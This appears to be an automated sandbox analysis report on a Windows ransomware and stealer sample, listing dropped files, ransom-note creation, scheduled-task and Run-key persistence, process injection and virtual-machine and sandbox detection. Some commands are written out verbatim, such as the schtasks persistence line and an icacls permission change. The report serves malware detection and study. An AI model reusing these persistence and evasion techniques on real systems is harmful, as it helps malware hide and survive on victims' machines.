Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CDF0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CE58 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CF28 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CFC0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CF90 push eax; retn 004Dh	6_2_0050D6B5

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File created: C:\Users\user\_README.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_00404F7E EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00404F7E

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 5644, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_0443171C rdtsc

0_2_0443171C

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 6_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,Process32Next,GetTickCount,GetTickCount,Thread32Next,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

6_2_00481920

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		2_2_0040E670
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		6_2_0040E670

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 931
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 9068

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-45119

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe TID: 3040	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5612	Thread sleep count: 931 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5612	Thread sleep time: -209475s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5612	Thread sleep count: 9068 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5612	Thread sleep time: -2040300s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_0040F730
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_00410160
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	6_2_0040FB98

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: rq0mVjR9ar.exe, 00000006.00000003.2190173958.00000000097E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: rq0mVjR9ar.exe, 00000006.00000003.2190173958.00000000097E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: rq0mVjR9ar.exe, 00000002.00000003.2084998396.00000000008A6000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000002.00000002.2092151672.00000000008A6000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613992987.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000578000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000003.2122964855.0000000000603000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4522084150.0000000000603000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000002.2257659855.000000000090E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000E.00000003.2252264692.000000000090E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: rq0mVjR9ar.exe, 00000006.00000003.2191872170.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/05/2023 08:26:06.205OFFICEC2 (0x14b0)0x1290Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 189, "Time": "2023-10-05T06:26:01Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "pNpni+sgFme2AbL0FaUYvRnb6Aw=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: rq0mVjR9ar.exe, 00000002.00000002.2092151672.0000000000878000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rq0mVjR9ar.exe, 00000006.00000002.2613992987.0000000000637000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

API call chain: ExitProcess graph end node

graph_2-45121

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_0443171C rdtsc

0_2_0443171C

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_0040909D IsDebuggerPresent,

0_2_0040909D

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0042A57A

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

6_2_00481920

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

2_2_00412220

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_044300A3 push dword ptr fs:[00000030h]	0_2_044300A3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05D90042 push dword ptr fs:[00000030h]	0_2_05D90042
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_042390A3 push dword ptr fs:[00000030h]	5_2_042390A3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E50042 push dword ptr fs:[00000030h]	5_2_05E50042

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_00408568 GetProcessHeap,

0_2_00408568

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_00409028 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409028
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004329EC
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_004329BB SetUnhandledExceptionFilter,	2_2_004329BB
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_004329EC
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_004329BB SetUnhandledExceptionFilter,	6_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_05D90110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05D90110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Memory written: C:\Users\user\Desktop\rq0mVjR9ar.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Memory written: C:\Users\user\Desktop\rq0mVjR9ar.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Memory written: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Memory written: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Memory written: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Memory written: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Memory written: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

2_2_00419F90

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_05DB80F6 cpuid

0_2_05DB80F6

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinf